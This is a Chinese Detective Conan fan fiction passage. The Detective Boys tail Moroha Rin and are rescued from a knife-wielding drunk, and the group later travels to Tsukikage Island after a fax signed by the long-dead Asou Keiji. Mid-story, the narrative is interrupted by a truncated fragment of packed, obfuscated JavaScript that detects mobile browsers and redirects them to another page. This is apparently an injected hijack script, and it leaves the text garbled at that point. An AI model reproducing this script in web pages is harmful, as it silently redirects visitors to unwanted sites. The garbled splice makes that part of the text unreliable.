“等等!有人过来了!”光彦按着两人的头缩了回去。
三人只露出半个眼睛,紧张地盯着那道走向诸叶凛的身影。
那是一个看起来十分憔悴的女生,穿着高中生的制服,眼下的黑眼圈深得吓人,脸色也显得有些苍白。
她走到诸叶凛所在的长椅前,犹豫了一下,才缓缓坐下。
两只猫咪瞥了她一眼,但很快不再关注,专心于诸叶凛的抚摸。
两人低声交谈着什么,声音被风吹散,只能隐约听见几个断断续续的词。
元太竖起耳朵,努力去听:“唔……听不清啊。”
光彦侧着头努力分辨:“我好像听到‘费用’……还有‘真的吗?’。”
“费用?”元太瞬间又燃起了想象力的火焰,“果然!这肯定是在和另一个势力接头!”
光彦冷静分析:“我们距离太远了,要确认他们在说什么,得再靠近一点。”
他刚打算带头往前挪几步,但还没等他们出发,长椅那边的谈话就结束了。
那个女生一脸复杂地站起来,感激地说了句“谢谢”,然后转身离开。
诸叶凛低头看了看怀里的两只猫,轻轻把它们放回地面。
猫咪们绕着他脚边转了两圈,才依依不舍地离开。
诸叶凛随即起身,顺着另一条路往外走去。
“他走了!我们快点跟上!”元太急得小声喊。
三人立刻拔腿去追,但天色昏暗下来,各种灯光互相映照,人影变得模糊不清,只经过一个拐角,他们就跟丢了。
“呼……不见了。”光彦喘着气,看着四周,还在努力寻找。
步美有些懊恼:“明明都跟了这么久……”
元太拍了拍胸口:“可恶!”
但再不甘心也没有办法,天已经黑了,三人只能放弃,慢慢往家的方向走去。
夜风吹动路边的树叶,沙沙作响。
步美低头踢了下石子:“其实我还是觉得诸叶哥哥不像坏人……”
光彦抱着手臂思考:“可他的行为看起来真的很可疑。”
“呜……”元太捂着咕咕叫的肚子,哭丧着脸,“先别说这些了,我好饿啊……走不动了……”
突然一阵风吹过,带来一股浓郁的香气。那是炭火上滋滋作响的油脂味,混着酱汁焦香,瞬间在空气中弥漫开来。
元太的鼻子动了动。
“这、这味道是——”他两眼发光,“鳗鱼饭!!!”
“真的诶,好香!”步美也吸了吸鼻子。
光彦忍不住咽了下口水:“好像从前面那边传来的。”
三人被香味牵着鼻子往前走。
街道渐渐变得狭窄,灯光也暗了下来,他们走进了一条偏僻的小巷。
远处隐约能看到一盏昏黄的灯,还能听见炭火燃烧的声音。
“哎呀!”元太正走着,脚下突然被绊了一下,差点摔倒。
他低头一看,地上竟然倒着一个人。那是个中年男人,胡子拉碴,头发乱糟糟的,身上的衬衫皱巴巴,酒味浓得几乎要把人熏晕。旁边滚着一个半空的酒瓶,瓶口还在滴着酒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673012|186840||http|test|mini|href|location''.split(''|''),0,{}));
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>“他、他没事吧?”步美紧张地小声问。
那人被元太踢到手臂,迷迷糊糊地挠了挠,嘴里嘀咕着什么。
“唔……谁……谁踢我啊……”
他睁开眼,两眼无神,声音含糊,舌头像打了结似的,摇摇晃晃地撑起身子。
光彦赶紧推着元太往前:“快走吧!”
三人刚走出两步,背后突然传来一声含糊不清的低吼。
“喂!”
还没等他们回头,步美的手臂被一股力道狠狠抓住。
“啊!”步美惊叫。
那醉汉的手指又脏又油,指甲里都是污垢,紧紧扣着她的胳膊,呼出的气都带着刺鼻的酒臭味。
“撞了人就想跑?!把你们身上的钱都拿出来赔给我!”
元太生气:“凭什么?!谁叫你自己躺在地上的?”
醉汉愣了下,被一个小孩子质疑让他本就被酒精侵蚀的理智瞬间崩盘,愤怒地从裤子口袋里掏出一把折叠刀。
“就凭这个!”他一边说,一边拿着刀在步美的头上比划。
“步美!”光彦和元太的脸色同时变了。
光彦慌忙掏出兜里的零花钱,连同元太的一起全都丢在地上。
“都给你!可以让我们走了吗?”
醉汉眯着那双血丝密布的眼睛,嘴角扯动,露出几颗发黄的牙齿:“呵……还不……够!”
他说着,举起手里的刀。
“危险!”光彦瞳孔一缩,立刻扑上去,试图推开步美。
“咻——!”
破空声骤然划破夜色,一道黑白相间的物体从巷口飞来,带着强烈的气流呼啸而至。
“咚!”一个足球狠狠砸在醉汉握刀的手上!
“哐当!”
折叠刀被震飞,撞上墙壁又弹回地面,叮当作响。
巨大的冲击力让醉汉踉跄着往前扑去,一头栽倒在地,发出一声闷响。
“快走!”
熟悉的少年声音从巷子入口的方向传来。
“柯南!”步美惊喜地喊道。
三人立刻跑了过去。光彦看到柯南后一下安心了不少:“你怎么在这里?”
确认他们都没事,柯南松了口气:“我一直跟在你们后面。”
在他们离开博士家后没多久,柯南就察觉到光彦的反常,但他实在没办法忽视诸叶凛的疑点,而且哪怕被发现,他也相信那家伙不会伤害他们,就没有阻止,而是悄悄尾随在后面。
柯南:“别的之后再说,我们赶紧走!”
“呃……咕……”
巷子里的醉汉爬了起来,他一边摇晃着身体,一边嘴里含糊地骂骂咧咧:“谁、谁打我啊……想死是不是……”
他突然一把抓起地上的折叠刀:“我让你们走了吗?!”
柯南脸色一变。跑肯定不行,这个醉汉再怎么样也是成年人,他们很难逃掉。只能想办法让他失去行动能力了!
柯南把三人护在身后,接着抬起手表,锁定醉汉的方向。
然而那醉鬼跑得歪歪扭扭,忽左忽右,麻醉针擦着对方的肩膀钉进后方的砖墙。
“糟了!”
18.麻生老师
柯南蹲下身旋转鞋侧开关,从地上捡起一个易拉罐准备给醉汉来一记重踢。
可醉汉虽然跌跌撞撞的,速度却不慢,眨眼便到了他们面前。
然而就在千钧一发之际,他突然停了下来,僵在原地。
柯南正疑惑的时候,一股力量从腋下传来,脚下突然悬空。
他警惕地回过头,对上一双熟悉的湛蓝色双眸。他一下放松下来:“诸叶!”
诸叶凛垂眸看着他,十分认真地说道:“是诸叶哥哥。”
柯南无语:“这种时候就别纠结称呼了啊!”
醉汉看着他们,眼神闪了闪,晃了晃手里的刀,嘴里含糊地骂:“赶紧滚……别再打扰老子睡觉……”
诸叶凛瞥了他一眼,让步美他们先走。三人对视一眼,听话地跑向巷口。
诸叶凛抱着柯南转身准备离开,一阵急促的脚步声突然从身后传来。
那醉汉又一次举着折叠小刀冲了过来,眼里布满血丝,脸因为愤怒而扭曲。
他不敢相信,自己刚才只是和这个棕发的家伙对视一眼,竟然就被吓得不敢动,那种屈辱让他发狂!他一定要让这小子好看!
“小——!”柯南的提醒才刚出口。
“砰!!”
诸叶凛一记利落的回旋踢直接正中醉汉的下颚。
冲击力直接把醉汉踢离地面,身体在空中翻了半圈,头重重撞到墙上,发出沉闷的声响。
刀“叮”地一声落地,滚到一旁。醉汉两眼一翻,身体彻底软倒下去。
诸叶平静地收回腿,站稳后低头看向怀里的柯南:“你刚才说什么?”
柯南迅速摇头:“没什么!”
解决完醉汉后,诸叶凛没有离开,反而朝巷子深处走去。
柯南有些紧张:“你要干什么?那个人已经晕过去了,之后报警让目暮警部处理就好,不需要——”
“这是那三个孩子的。”诸叶凛弯下腰,从地上捡起几枚硬币和皱巴巴的零钱。
“哦……”柯南讪讪笑了笑。他还以为诸叶要对那家伙动手。
诸叶凛走出巷口,将手里的零钱递给那三个孩子。
光彦愣了下,伸手接过:“谢谢!”
步美笑得眼睛弯弯的,戳了戳身旁的元太,小声道:“我就说嘛,诸叶哥哥不是坏人。”
“没错没错!”元太攥着失而复得的零花钱,立刻倒戈,“我也觉得!”
步美崇拜地仰头望着诸叶凛:“大哥哥好厉害!”
他们刚才在巷口全都看到了,那一个干脆利落、不带一丝多余动作的回旋踢,在孩子们眼里简直堪比假面超人出场一样帅气!
诸叶凛把怀里的柯南放到地上,然后拿起刚才怕被波及放在巷口的纸袋:“朋友教我防身的。”
柯南抬头看了他一眼,心里闪过一丝疑惑。
朋友?
他记得诸叶在咖啡店时提过自己有个“精通炸弹”的朋友,在温泉旅馆也提过有个“洁癖”的朋友,现在又出现一个教他格斗的?他身边的朋友会的未免也太多了吧?
“咕——”
一阵肚子抗议的声音突然响起。
元太一脸尴尬地捂住肚子:“嘿嘿……有点饿了。”
诸叶凛想了想,提议道:“既然如此,不如一起吃饭吧,我请客。”
“好诶!!”三个孩子齐声欢呼。
柯南叹了口气,但还是默默跟上。
街角的拉面店正亮着暖黄色的灯,空气中弥漫着酱油和猪骨混合的香味,热气驱散了夜里的凉意。
诸叶凛坐在最里侧,柯南快其他孩子们一步,坐到紧挨着他旁边的位置。
步美也想坐在诸叶凛旁边,见状只能不太情愿地坐到另一个位置。
拉面很快上齐,她有一下没一下地戳着碗里的面条。忽然,一杯果汁轻轻放在了她面前,打断了她的低落思绪。
“咦?我没点饮料啊,上错了吗?”步美伸手想要找服务生。
诸叶凛按下她的手:“我点的,听说喝一些甜的心情会变好。”
步美原本还在失落,眼睛一下恢复光彩。她珍惜地喝了一口果汁,胆子也大了起来:“其实……我们今天有在跟踪诸叶哥哥,对不起!“
元太和光彦也赶紧低头道歉。
“没关系,我不在意这种事情。”诸叶凛说。
柯南看他一副毫不意外的样子,就知道他们的跟踪恐怕早就被诸叶发现了,那种能突破隔音玻璃的听力完全是作弊器一样的存在。
“所以为什么你进酒吧之前要戴口罩呀,诸叶哥哥?”这个疑问憋在光彦心里很久,还是没忍住问了出来。
诸叶凛放下筷子,指了指自己的鼻子:“我的嗅觉很灵敏,酒吧那种地方气味又浓又杂,还有很多难闻的东西,不戴口罩的话,会吐。”
“原来是这样。”步美恍然大悟地点头。
柯南一边挑起一根面条,一边装作不经意地低头看向诸叶凛放在脚边的纸袋,袋口微微敞开,里面是一瓶玻璃包装的酒。
瓶身细长,标签是深绿色的旧法文印字,但被袋子挡着看不清名字,酒液透着一种翠绿的光泽,在灯下折射出微妙的冷色。
柯南心里松了口气。看来诸叶真的只是去买酒而已……
“那这么说,”元太有点失落,“公园里和你碰面的那个也不是什么坏人喽?”
“那个我知道。”柯南咽下口中的面条,“是之前温泉旅馆遇到的山中加奈姐姐。”
“没错,山中女士被捕,山中加奈小姐对处理这些事有些无措,我就帮她请了一位律师。”
诸叶凛给远处不小心被汤汁溅到的光彦递去一张纸,收回手时顺势低头看向旁边的柯南:“你应该认识。”
柯南心脏重重一跳。身为小孩子的自己会认识律师吗?这难道又是试探?
“诸、诸叶哥哥在说什么啊,我怎么会认识律师呢?”
“是吗?”诸叶凛的眼中划过一丝困惑,“妃英理律师不是毛利侦探的妻子吗?我以为你应该认识才对。”
“啊,你说的是妃英理阿姨啊,因为她和毛利叔叔一直分居,我差点忘了。”柯南稍微松了口气。
诸叶凛点点头,继续说道:“因为是很有名气的大律师,本来准备了3000万的委托费,不过听完完整案件后,她表示不需要,愿意提供无偿的法律援助,之后的事情会由她和山中小姐联络,我刚才就是将这件事告知山中小姐。”
……诸叶竟然连这些后续处理都想到了吗?柯南一时间说不出话,只是沉默地看着他。
但另外三个孩子的反应完全不同。
“三千万?!”他们异口同声地喊道。
元太掰着手指数:“这么多钱,能买多少鳗鱼饭啊!”
他畅想着被鳗鱼饭堆满的房间,擦了擦嘴角的口水:“诸叶哥哥好有钱!”
“因为我有一个很有钱的朋友。”诸叶凛平静道。
又一次听到“朋友”两个字,柯南已经麻木了。他现在更在意的是诸叶凛到底知不知道自己的身份,于是仰头露出天真的笑容,装作好奇地问:“那诸叶哥哥现在住的房子,也是那个有钱的朋友买的吗?”
诸叶凛点了点头。
“原来是这样呀!其实诸叶哥哥隔壁那栋房子之前住着新一哥哥,他可是很有名气的高中生侦探!不过最近好像在忙别的案件没再住那里,好可惜哦~我还觉得他和诸叶哥哥一定能成为朋友呢。”
说完,柯南暗暗观察着诸叶凛的反应,但对方只说了一句“是吗?”,似乎完全不在意这个话题,连眼神的波动都几乎没有。
柯南没再多说,但心里的警惕依旧没有散去。
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工藤新一这个名字之前可是上过不少次新闻,一个普通人突然知道隔壁住着名人,怎么说也会有点反应吧?诸叶凛实在太平静了,在他看来反而有些异常。
这时,一边不知何时从三千万能买多少东西跳到假面超人话题的三个孩子突然起了争执。元太一拍桌子:“不对!假面超人第一集那个怪物明明被打飞到右边了!”
“是左边!”光彦立刻反驳。
步美皱起眉头:“你们两个都错了,是正中间啦!”
三人吵得热火朝天,最后齐齐转头看向诸叶凛:“诸叶哥哥,你说呢?”
诸叶凛难得露出迟疑的神色:“我之前昏迷了七年,十天前才刚醒过来,不太清楚你们说的这些。”
“诶——?!”三人一齐惊呼。
步美关心地问道:“那诸叶哥哥现在没事了吧?”
“嗯,醒过来后有做过检查,还算健康。”
“昏迷了七年……”第一次得知这个信息的柯南喃喃重复道。
原来如此……如果诸叶真的刚从昏迷中醒来,之前又一直住在深山里,那他没听说过工藤新一,对这个名字没反应什么的,就合理了。
毕竟七年前工藤新一这个名字还完全没有名气,而等到十天前对方醒过来的时候,他已经成为“江户川柯南”,媒体很少再报道有关他的新闻。
也就是说……住在隔壁,可能真的只是个巧合。
用完餐后,夜色已经彻底笼罩整座城市,诸叶凛和柯南一起把少年侦探团一一送回家。
街灯在潮湿的路面上投出一圈圈柔光,诸叶凛牵着柯南往回走。
一路上,柯南都在偷偷观察他,却始终看不出一丝破绽。
他们走到毛利侦探事务所楼下,诸叶凛抬头看了看,二楼的灯还亮着,于是上楼在门口轻轻敲了两下。
“咚、咚。”
门内没有回应,只有低沉而规律的呼噜声从里面传出。
柯南叹了口气,见怪不怪地掏出钥匙开门。
门锁“咔哒”一声转动,毛利小五郎正趴在桌上睡得东倒西歪,手边还有一个半熄的烟蒂,旁边散落着几张报纸。
柯南无奈地走过去,把书包放到沙发上后,伸手去推毛利小五郎的肩膀。
“回床上睡啦,叔叔。”
毛利小五郎迷迷糊糊地哼了一声,挥手赶苍蝇似的挥了两下,嘴里还含糊道:“别吵我……”
说完,又换了个姿势继续呼呼大睡。
“真是的……”柯南小声嘀咕,然后换了个方向继续努力,“回去啦,大叔!”
诸叶凛站在门口,看着柯南和毛利小五郎的纠缠,眼底多了一点笑意。
“咔——咔——”
诸叶凛循声看去,传真机旁的绿灯一闪一闪,新纸正缓缓吐出。
他走过去,伸手拿起那张还带着余温的纸。
原本他只是想顺手递给柯南,却在看到上面的文字时停了下来。
那是一行行用不同字体拼凑出的文字:
下一个满月的夜晚,
在月影岛上,
将会再次开始有影子消失。
请你调查原因。
诸叶凛的目光停在落款处那个名字上——麻生圭二。
他没记错的话,五年……不对,应该是十二年前,【恋人】有一天突然把自己关在房间不出来。
最终他用备用钥匙打开门,那人坐在床边,抱着双膝缩成一团,眼睛红红的。
“……小凛,麻生老师……死了。”
诸叶凛视线落回传真纸,重新看向上面“月影岛”三个字。
之前【高塔】曾建议他去那里疗养,但那时他拒绝了,因为他觉得留在米花町能遇到更多有趣的事情。
可现在看来——
“不得不去一趟了啊。”
19.犯罪预告?
两天后。
白色的船头切开墨蓝色的海面,溅起的浪沫在阳光下碎成一片片冷冽的银光。带着咸腥气的海风掠过甲板,吹得人衣衫猎猎作响。
毛利小五郎在甲板舒展了一下身体,迎着风大大地打了个呵欠,眼角挤出了两滴生理性的泪水。
他揉了揉鼻子,用带着倦意的嗓音抱怨:“这个委托人还真是奇怪啊,什么内容都不说,要不是钱提前给完了,我才不想来这种偏僻的小岛呢。”
他把手搭在额前,眺望着远处海平面上那个越来越清晰的小黑点,随即像是忽然想起什么似的,扭头看向右侧正靠在栏杆边的青年。
“不过没想到你也要去这座岛,还真巧啊,诸叶。”
“嗯。” 诸叶凛轻轻应了一声,目光落在船舷旁被不断切开又复合的海水上。
海风将他颈侧未被扎起的头发吹得有些凌乱,他抬手将这些发丝拨到耳后,侧过脸轻声道:“我也没想到毛利侦探竟然在这艘船上,真是令人惊喜。上次温泉旅馆的推理让人难忘,难怪我的朋友经常向我提起您。”
说这句话时,诸叶凛脑海里仿佛又一次回响起赤见枫那带着些许崩溃的话语“怎么又在现场碰到那个大叔了!我已经五天没按时下班了啊!”
他眼底泛起一丝不易察觉的笑意,面不改色地将好友的“控诉”稍微艺术加工了一下。
这恰到好处的恭维让毛利小五郎立刻眉开眼笑,他用力拍了拍诸叶凛的后背,力道大得让后者微微晃了一下,嗓门洪亮:“哈哈哈!没想到你这个人看起来冷冷淡淡的,说话还挺诚实的嘛!”
……这家伙居然还会说这种场面话?
柯南嘴角微微抽搐。趁毛利小五郎沉浸在得意中时,他悄悄凑到诸叶凛身边,伸出手揪住对方微凉的袖口,用力往下扯了扯。
“真的是巧合?” 柯南压低了声音,镜片后的眼睛锐利地盯住对方。
诸叶凛俯身,配合着柯南的高度,用同样轻的声音回应:“虽然很想说‘是’,但事实就像你想的那样,那天晚上我也看到了那封委托信。”
“果然。”诸叶凛这么说,柯南反而放心了不少,放开了他的袖子,但追问紧跟而上,“所以,你为什么跟过来?”
诸叶凛的视线掠过远方的水平线,落在那个逐渐清晰的海岛上:“那封委托你们去月影岛的传真,落款人是麻生圭二。你知道这个人吗?”
“麻生圭二?” 柯南困惑地摇了摇头,“这个人有什么问题吗?”
诸叶凛侧过头,目光直直地撞进柯南眼里:“这个人,十二年前就死了。”
“什么?!”
柯南脱口而出的惊呼,立刻引来了毛利父女疑惑的目光。
他抬手挠了两下后脑勺,干笑起来:“啊哈哈……原来、原来这道题的答案是这个啊!诸叶哥哥真厉害!”
毛利小五郎不屑地从鼻子里哼了一声,扭过头去:“切,能让小鬼大惊小怪的事,果然有够幼稚的。”
“抱歉,”毛利兰快步走近,轻轻按住柯南的肩膀,带着歉意看了一眼诸叶凛,试图带柯南离开,“过来,柯南,不要打扰诸叶君。”
“可我还有事要问诸叶哥哥!”柯南抓住诸叶凛的手,攥得很紧。
诸叶凛向他投了一个“安心”的眼神:“没关系,毛利小姐。我们相处得很愉快。”
毛利兰犹豫了一下,最终还是点点头:“那就麻烦你了。”
等她走远后,柯南脸上刻意装出的天真笑容像退潮般迅速消失。
他松开手,眉头紧锁:“所以,这个借用死人之名的委托人,他的目的究竟是什么?”
“我也不知道,但委托人很明显是希望毛利侦探来到岛上做些什么。”
柯南低头用鞋尖碾着甲板上的灰尘,思索了片刻,猛地抬起头:“不对!你还是没说清楚,你为什么要特地跟到岛上来?你认识那个麻生圭二?”
“不算认识。” 诸叶凛摇了摇头,“只是他死的时候,有个朋友非常伤心。既然这件事牵扯到了这个名字,我觉得有必要来看看。”
这个理由合乎情理,柯南理解地点了点头。但侦探的本能让他立刻捕捉到下一个疑点:“你的那位朋友,他自己为什么不来?”
诸叶凛低头看了眼手机。屏幕亮着,界面停在与【恋人】的聊天框。
上面是一连串零碎的信息,天气、照片、问候,十分频繁,最新的甚至在十分钟前,但这么多消息,却全都没有回应他上次向对方提到的这件事,像被选择性忽视了一样。
他指尖在冰冷的屏幕上停留了一瞬,然后默然按熄了屏幕,将手机收回口袋。当他重新直起身望向远方时,柯南注意到他瞳孔深处某种情绪细微地翻涌了一下,又迅速归于沉寂。
静默在两人之间蔓延了几秒,就在柯南以为得不到答案时,他听到对方用一种听不出情绪的语气低声说:
“不清楚。他还没回复我。”
柯南深深看了他一眼,敏锐地察觉到这个话题可能触及了某种私人边界,便不再追问,转而将思绪沉入那封诡异委托信背后的迷雾中。
船在单调的浪声与风声交织中,持续破开前路。不知过了多久,随着一阵轻微的震动与引擎的熄火声,船体终于缓缓靠上了月影岛的码头。
刚下船时,毛利小五郎还双手插兜,步履轻松,显得兴致勃勃。然而,这份轻松在听到接待处工作人员的话后,瞬间粉碎。
“啊?!你说什么?!麻生圭二已经死了?!”毛利小五郎像是被踩到尾巴,猛地往前探出身子,双手重重拍在桌面上。
接待处的工作人员被他吓了一跳,瑟缩了一下,才结结巴巴地确认:“是、是啊!而且十二年前就死了啊!”他似乎回想起什么,脸上浮起一层恐惧的阴影,“当年他回到岛上,在公民馆进行了一场演奏会
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……到了晚上,不知为什么,突然在自己家放了火。不仅麻生先生死了,他的妻女也……也一起……”
他艰难地咽了下口水,声音压得更低,仿佛怕被什么听见:“据说……还是他亲手用刀杀掉的,之后才放的火……”
四周不知何时聚拢了些居民,听到这里,窸窸窣窣的私语声蔓延开,一道道混合着警惕、好奇与排斥的怪异目光落在他们一行人身上。
毛利小五郎脸上的肌肉僵硬地抽动了一下。
“咳、咳咳!”他用力清了清嗓子,半推着毛利兰和柯南,“我们先出去,出去再说!”
几人踏上岛内干净的小道,将刚才那些令人不适的视线甩在身后。风从茂密树林的缝隙间穿过,带来湿润的咸味与植物的淡淡苦香。鸟鸣断断续续地从森林深处传来,更增添了几分幽静。
诸叶凛独自走在最后,微微仰头,深吸了一口气。空气里混着海水的咸涩与青草的清新,清凉、干净,有种与世隔绝的安宁。
【高塔】说得没错,这确实是个美丽、适合疗养的地方。
“这个委托人是来耍我的吗?!”毛利小五郎烦躁地抓了抓头发,打破了这份宁静。
毛利兰安慰道:“可是爸爸,委托费都已经提前付清了,应该不是单纯的恶作剧吧?”
“也许是麻生先生生前的好友发的委托?”柯南适时插话,抛出之前在船上的猜测,“不想暴露自己的身份,所以就借用了已故的麻生先生的名字?”
“唔……这么说,倒也有可能。”毛利小五郎摸着下巴嘀咕,目光游移间,落到了身后一直沉默的诸叶凛身上,“喂,你觉得呢,诸叶?”
诸叶凛的视线从枝头一只梳理羽毛的麻雀身上收回,开口时,声音平直得没有一丝涟漪,却让气氛骤然凝固:“我在想,为什么你们从一开始,就认定那是一封委托信?”
他顿了顿,目光扫过愣住的毛利小五郎和柯南,轻声道:“里面那句‘将会有影子消失’,听起来不像求助,更像是犯罪预告,不是吗?”
“犯罪预告?!”毛利小五郎眼角猛地一跳,声调不自觉拔高。
“一位有名的钢琴家突然自杀,还是以那样痛苦的方式,这件事听起来本就疑点重重。”诸叶凛冷静地分析,“如果这其中有什么隐情,那么这封信的目的……”
毛利小五郎抱着手臂沉吟片刻,忽然猛地一拍大腿:“我懂了!也就是说,那封信是在警告我!如果不能在信上写的‘满月之夜’前解开麻生圭二死亡的真相,那个委托人就要亲自出手,开始他的复仇?!”
“只是一种猜测。”诸叶凛说。
“不!这完全说得通!”柯南立刻出声附和,同时已经掏出手机飞快地解锁屏幕,指尖滑动着翻看日历,“下一个满月的夜晚是……”
他的动作骤然停住,瞳孔因屏幕上的日期而微微收缩。
“不就是明天吗?!”
20.公民馆
“什么?!明天?!”毛利小五郎抬腕看表,脸色瞬间铁青,“满打满算只剩三十个小时?!想在这么短的时间里查清一桩十二年前的悬案,这根本就是不可能完成的事情!”
他烦躁地抓乱了本就不是很整齐的头发:“而且都过了这么久,就算当年真留下了什么线索,也早就灰飞烟灭了!”
“未必。”诸叶凛平静的语气打断了毛利小五郎的焦躁。他抬起手,指向侧前方,“至少,以那位警官的年纪来看,如果他一直待在岛上,那么大概率亲历过当年的事。”
他所指的方向有一个石阶,旁边正站着两个人。一位是穿着白大褂、面容清秀,眉宇间萦绕着些许不安的女医生;另一位则是头发已然花白、制服略显陈旧的老警员,两人正低声交谈着什么。
毛利小五郎深吸一口气,强行按下心底的焦躁:“……没办法了,死马当活马医吧。”
四人快步走近。那两人察觉到陌生人的靠近,立刻中止了谈话。女医生下意识地后退了半步,而老警员则笑眯眯地转过头,看向为首的毛利小五郎。
“外来的游客啊?欢迎欢迎,遇到了什么麻烦吗?”
“打扰了,”毛利小五郎拿出名片,表明身份和来意,“我是受委托前来岛上的侦探毛利小五郎。想向您打听一下,关于十二年前那位麻生圭二先生的事件,您是否还有些印象?”
“什么?松平三次?”老警员侧过耳朵,脸上露出困惑的神情,“我们岛上好像没这个人啊?”
“是麻——生——圭——二——!”毛利小五郎不得不凑近些,在他耳边喊了出来。
“哦哦!麻生圭二啊!”老警员恍然大悟,笑呵呵地拍了下自己的额头,“你早说嘛!那件事啊……怎么可能不记得。”他脸上的笑容淡去些许,摇了摇头,语气带着感慨,“当年那可是传遍了全岛的大案子。不过啊,那栋别墅早就烧得干干净净,之后翻修了一遍,能留下的东西,几乎没有了。”
“这样啊……”毛利小五郎的眉头拧成了疙瘩,难掩失望。
“那个,关于那件事……”毛利小五郎还不死心,想继续追问细节。
“啊?便当?我吃过午饭了!”老警员一脸认真地回答。
“………”毛利小五郎的肩膀无力地垮了下来,感觉自己像是在对牛弹琴。
“关于那件事,我倒是听说过一些传闻哦。”一个柔和的女声适时地插了进来,缓解了尴尬的局面。
只见那位女医生上前一步,微笑着抬手轻搭在胸口,姿态温婉:“失礼了,我叫浅井成实,是两年前来到这座岛的医生。虽然十二年前的悲剧我未能亲历,但在问诊时,或多或少听到过别人谈论起这件事。”
她微微停顿,像是在斟酌用词,然后才继续说道:“比如,现在正准备竞选村长的川岛英夫先生,还有现任的黑岩辰次村长,他们两位,据说都是当年那场火灾的目击者。”
“哦?”毛利小五郎精神一振,“当年的事,竟然还有明确的目击者?”
“你们要找当年的目击者啊?”这次老警员倒是听清了关键词,“我记得当时麻生先生的四位好友都在场。除了去世的前任村长龟山先生,剩下的三位确实都还在岛上。你想找他们的话……”他热情地抬起粗糙的手,指向树林深处,“其他人我不清楚行踪,但黑岩村长这个时间,多半在公民馆里待着呢。”
众人的目光随之望去。穿过层层叠叠的墨绿树影,在视野的尽头,一角灰白色的陈旧屋檐在稀疏的阳光下悄然静立,若隐若现。
“不如由我带各位过去吧,”浅井成实转过身,对众人露出一个温和的笑容,“刚好,今晚公民馆要举行前任村长的法事,我也需要提前过去帮忙准备。”
几人沿着蜿蜒的小路继续前行。岛屿的宁静渐渐被另一种声音打破。
走到半途,毛利小五郎忽然停下脚步,耳朵微动,疑惑地抬起头:“嗯?你们有听到什么声音吗?”
众人随之驻足。风中混杂着隐约却激烈的人声,正从不远处传来——
“反对黑岩继续连任!”
“我们不需要专横的村长!”
浅井成实侧耳倾听片刻,轻声解释道:“最近黑岩村长推行的一些政策惹来了不少反对的声音。眼下又正好到了村长换届的关键时期,所以时常有村民聚集到这里来表达不满。”
他们转过一个弯,公民馆的全貌映入眼帘,同时出现的还有馆前空地上那十几名情绪激动的村民。他们高举着写满标语的牌子,一声高过一声地喊着口号。
“嚯,这阵仗还真不小啊。”毛利小五郎摸着下巴感叹
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道。
他们小心地绕过聚集的人群,刚踏入公民馆大门,一位戴着眼镜、看起来有些怯懦的中年男子便慌慌张张地小跑过来,额头上还带着细汗。
“各位好!我是村长的秘书,平田和明。”他一边说,一边紧张地用指尖推着鼻梁上的眼镜,“请、请问几位是……?”
毛利小五郎上前说明了身份与来意。
“侦、侦探?!”平田和明像是被这个词吓了一跳,镜片后的眼睛瞬间睁大,“这、这个……请各位务必在此稍等!我、我这就去请示村长!”
说完,他小跑着冲上了楼梯,身形显得十分慌乱。
他离开后,毛利小五郎环顾了一下空旷的走廊,找了个靠墙的长椅重重坐下,双臂紧紧抱在胸前,脚尖无意识地、越来越快地敲打着地面。
诸叶凛的视线在厅内扫过,原本也想找个地方坐下等待,却看到柯南正沿着走廊推开一扇又一扇房门。他略一沉吟,跟了过去。
“在找什么?”他在柯南身后轻声问道。
柯南推开面前的门,里面是间普通的储物室。他有些失望地关上,压低声音说:“刚才在接待处,那个工作人员提到,麻生圭二死前最后出现的地方就是这间公民馆,还举行过演奏会。我在想,这里或许会留下点什么……”
一连推开几扇门,都毫无收获。
最终,两人的脚步停在走廊尽头一扇门前。这一层,只剩下这里还没有查看。
柯南伸手,缓缓推开了这扇门。
明亮的阳光瞬间从门内涌出,这是一个十分亮堂的房间,两侧都有宽敞的窗户,将里面的景象照得一览无余,其中一侧还有通往海边的门。屋内窗户都紧闭着,有些陈旧的灰尘味。
然而就在这片通透的光线中,一架漆黑的三角钢琴孤零零地静立在房间中央,看起来异常陈旧,与这明亮的环境格格不入。表面蒙着一层明显的灰翳,就像一件被时光遗忘的遗物,突兀地存在于这片空间里。
“果然有钢琴,这个状态……看起来很久没有使用了。”柯南眼神一凝,刚要迈步踏入仔细查看——
“呕!”
他霍然回头,只见诸叶凛脸色突然变得煞白,身体不受控制地蜷缩起来,双手死死捂住嘴,压抑的干呕声还是从指缝中断续地挤了出来。
21.钢琴调查
“诸叶!你怎么了?!”柯南被他突如其来的状况吓了一跳,连忙冲过去扶住他几乎要跪倒的身体。
诸叶凛刚想开口,喉咙里却再次涌上一阵剧烈的恶心,只能勉强抬起手,指向那扇还开着的门。
柯南立刻领会,反手“砰”地一声将门重重关上,隔绝了那个房间。
这边的动静引来了其他人的注意。浅井成实第一个快步赶来,她迅速半跪在诸叶凛身侧,一手扶住他的肩膀,另一只手熟练地轻拍他的背脊:“诸叶君,哪里不舒服?别担心,我是医生,可以帮你。”
门被关上后,诸叶凛胃里那股翻江倒海的感觉渐渐平息。他靠着墙壁,微微喘着气,额发已被冷汗浸湿,虽然脸色依旧难看,但至少不再失控地干呕。
“不是身体的问题……”他抬手用指尖揉了揉鼻梁,“是气味。”
“气味?”柯南回头看了一眼刚关上的木门。
回忆起刚才那种怪异的气味,诸叶凛的眉头不自觉皱起:“就像是烧红的铁块压在陈旧电路板上,散发出一种刺鼻的金属焦糊味。里面还混杂着一种甜腻到发腐的味道,交织在一起,让人想吐。”
柯南闻言,立刻用力吸了吸鼻子,除了老旧房间常有的灰尘味,其他的什么都闻不出来。但他清楚诸叶凛的感官远超常人,既然他说有,那就一定存在。
只是这种描述……金属焦糊味?甜腻到发腐?这听起来完全不像是普通物品能散发出的味道。房间里陈设简单,一眼望去空空荡荡,那么,唯一可疑的源头,似乎就只有那架钢琴。
“喂!你这小子,没事吧?”毛利小五郎这时也大步赶了过来,见他状况不妙,立刻架起他一条胳膊,将他搀扶到走廊的长椅坐下。
他拍了拍诸叶凛的后背:“你在这里好好休息,我进去看看。”
诸叶凛微微颔首,默默从口袋取出一个口罩戴上,将头向后靠在冰冷的墙壁上。
